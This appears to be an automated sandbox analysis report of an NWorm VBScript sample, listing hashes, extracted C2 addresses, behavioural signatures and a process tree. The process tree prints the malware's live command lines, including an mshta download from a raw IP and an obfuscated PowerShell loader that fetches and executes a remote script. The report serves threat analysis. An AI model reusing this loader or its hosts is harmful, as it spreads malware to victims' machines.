Analysis
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max time kernel
150s -
max time network
136s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
15-02-2022 02:11
Static task
static1
Behavioral task
behavioral1
Sample
STJQYIULUDCELUOGYJKBGX.vbs
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
STJQYIULUDCELUOGYJKBGX.vbs
Resource
win10v2004-en-20220112
windows10-2004_x64
0 signatures
0 seconds
General
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Target
STJQYIULUDCELUOGYJKBGX.vbs
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Size
6KB
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MD5
74f58ac31a1f70bb4c704f31074882c0
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SHA1
247ab701feff34cef747bf8e388b3639b8af9084
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SHA256
7c1862829839b836c1c21bb92e65316c1148efefab2028eccf91231bc50fe2c2
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SHA512
14e0e9a5f63e6b3807378a297146ba08ebdfbc73ff3ed27741761b22d53d3be59bcaa5ff2e06caa6d8d6f2e9d0f6fef9c530260d80fb61d50ea8ad904d990169
Score
10/10
Malware Config
Extracted
Family
nworm
Version
v0.3.8
C2
nyanmoj.duckdns.org:5057
moneyhope81.duckdns.org:5057
Mutex
cb2d3cba
Signatures
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NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
msHta.exedescription pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3664 3536 msHta.exe 58 -
Blocklisted process makes network request 3 IoCs
Processes:
msHta.exepowershell.exeflow pid Process 19 3664 msHta.exe 20 2036 powershell.exe 33 2036 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
msHta.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation msHta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid Process procid_target PID 2036 set thread context of 704 2036 powershell.exe 76 -
Drops file in Windows directory 3 IoCs
Processes:
svchost.exeTiWorker.exedescription ioc Process File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\WinSxS\pending.xml TiWorker.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
MusNotifyIcon.exedescription ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MusNotifyIcon.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz MusNotifyIcon.exe -
Modifies data under HKEY_USERS 56 IoCs
Processes:
svchost.exedescription ioc Process Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.019670" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "9.998112" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "90228624" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "11.109958" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4164" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "10.256446" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "1157726" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132895410758499966" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4368" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4068" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4288" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "4" svchost.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 2036 powershell.exe 2036 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeTiWorker.exedescription pid Process Token: SeDebugPrivilege 2036 powershell.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe Token: SeBackupPrivilege 3796 TiWorker.exe Token: SeRestorePrivilege 3796 TiWorker.exe Token: SeSecurityPrivilege 3796 TiWorker.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
msHta.exepowershell.exedescription pid Process procid_target PID 3664 wrote to memory of 2036 3664 msHta.exe 60 PID 3664 wrote to memory of 2036 3664 msHta.exe 60 PID 2036 wrote to memory of 704 2036 powershell.exe 76 PID 2036 wrote to memory of 704 2036 powershell.exe 76 PID 2036 wrote to memory of 704 2036 powershell.exe 76 PID 2036 wrote to memory of 704 2036 powershell.exe 76 PID 2036 wrote to memory of 704 2036 powershell.exe 76 PID 2036 wrote to memory of 704 2036 powershell.exe 76 PID 2036 wrote to memory of 704 2036 powershell.exe 76 PID 2036 wrote to memory of 704 2036 powershell.exe 76
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\STJQYIULUDCELUOGYJKBGX.vbs"1⤵PID:1788
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C:\Windows\system32\msHta.exemsHta.exe HttP://3.22.248.2/qw/EncGQE.txt1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HQPIRTNLNVVNENVTOSFOQPX = '[\6$@5=3#6_&86}<!6#+@86y\6$@5=3#6_&86}<!6#+@86t^($+0)+*\]^26/7=-57)$8[#9@-!=-\{&9]2/5!995](.IO.\6$@5=3#6_&86}<!6#+@86t\)6)6%-\+27-+}/$$$+)=)^($+0)+*\]^26/7=-57)$8=4_14%)*6(=8+{&_%7{17$[#9@-!=-\{&9]2/5!995](\)6)6%-\+27-+}/$$$+)=)^($+0)+*\]^26/7=-57)$8=4_14%)*6(=8+{&_%7{17$d^($+0)+*\]^26/7=-57)$8\)6)6%-\+27-+}/$$$+)=)]'.Replace('\6$@5=3#6_&86}<!6#+@86','S').Replace('^($+0)+*\]^26/7=-57)$8','E').Replace('\)6)6%-\+27-+}/$$$+)=)','R').Replace('=4_14%)*6(=8+{&_%7{17$','A').Replace('[#9@-!=-\{&9]2/5!995](','M');$HRTEUQOOTFTZLQAZFWAURIJ = ($HQPIRTNLNVVNENVTOSFOQPX -Join '')|&('I'+'EX');$HZSOPPIHHQLRYYEQVBEDSUX = '[1$56\-<^}+$099--+0}#_/y1$56\-<^}+$099--+0}#_/}({+@((<0%\3==8$3+)0<#=#\%+0[^=2*8#}8($/-$/}m.N=#\%+0[^=2*8#}8($/-$/}}({+@((<0%\3==8$3+)0<#.W=#\%+0[^=2*8#}8($/-$/}bR=#\%+0[^=2*8#}8($/-$/}qu=#\%+0[^=2*8#}8($/-$/}1$56\-<^}+$099--+0}#_/}({+@((<0%\3==8$3+)0<#]'.Replace('1$56\-<^}+$099--+0}#_/','S').Replace('=#\%+0[^=2*8#}8($/-$/}','E').Replace('}({+@((<0%\3==8$3+)0<#','T');$HOHVKHWHGAYHFLLBDNQFERO = ($HZSOPPIHHQLRYYEQVBEDSUX -Join '')|&('I'+'EX');$HUXHSFRXTJGUNPZKBAKQKDB = '7-0=!*[88^$]!&^-<0=!40r+6^1809#8_[3#9!*7&%/(}a8&_{*!#&(*%\348!!*/}8{+6^1809#8_[3#9!*7&%/(}'.Replace('7-0=!*[88^$]!&^-<0=!40','C').Replace('+6^1809#8_[3#9!*7&%/(}','E').Replace('8&_{*!#&(*%\348!!*/}8{','T');$HDGSFNUEFWTDNIWVCKPZGAN = '1847$$37[6=[//!%=/1+29)^67!]6\<-*%^$_!]<%#=9tR)^67!]6\<-*%^$_!]<%#=97759<]}1}&=-))27371/7/pon7759<]}1}&=-))27371/7/)^67!]6\<-*%^$_!]<%#=9'.Replace('1847$$37[6=[//!%=/1+29','G').Replace(')^67!]6\<-*%^$_!]<%#=9','E').Replace('7759<]}1}&=-))27371/7/','S');$HPLQTYQUTWSSOTBNQTGWCJW = 'G=-{19_]8@-38\_}33$<}92t60!3610=]928-+4{4@5<9{=-{19_]8@-38\_}33$<}920^%\{#218_*!9/22]03/\2pon0^%\{#218_*!9/22]03/\2=-{19_]8@-38\_}33$<}920^%\{#218_*!9/22]03/\2t60!3610=]928-+4{4@5<9{=-{19_]8@-38\_}33$<}92am'.Replace('0^%\{#218_*!9/22]03/\2','S').Replace('=-{19_]8@-38\_}33$<}92','E').Replace('60!3610=]928-+4{4@5<9{','R');$HIPJLQVQFSETDTUGXWWOVEN = '821#8{8)<4-+*%_7^[/_]}6_\4<00(_0{#202{{&^89/a^34)4\]92(]$[!%5}\0#$%To6_\4<00(_0{#202{{&^89/n^34)4\]92(]$[!%5}\0#$%'.Replace('821#8{8)<4-+*%_7^[/_]}','R').Replace('6_\4<00(_0{#202{{&^89/','E').Replace('^34)4\]92(]$[!%5}\0#$%','D');&('I'+'EX')($HRTEUQOOTFTZLQAZFWAURIJ::new($HOHVKHWHGAYHFLLBDNQFERO::$HUXHSFRXTJGUNPZKBAKQKDB('HttP://3.22.248.2/qw/Ps1HJ.txt').$HDGSFNUEFWTDNIWVCKPZGAN().$HPLQTYQUTWSSOTBNQTGWCJW()).$HIPJLQVQFSETDTUGXWWOVEN())2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"3⤵PID:704
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C:\Windows\system32\MusNotifyIcon.exe%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 131⤵
- Checks processor information in registry
PID:936
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:2864
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3796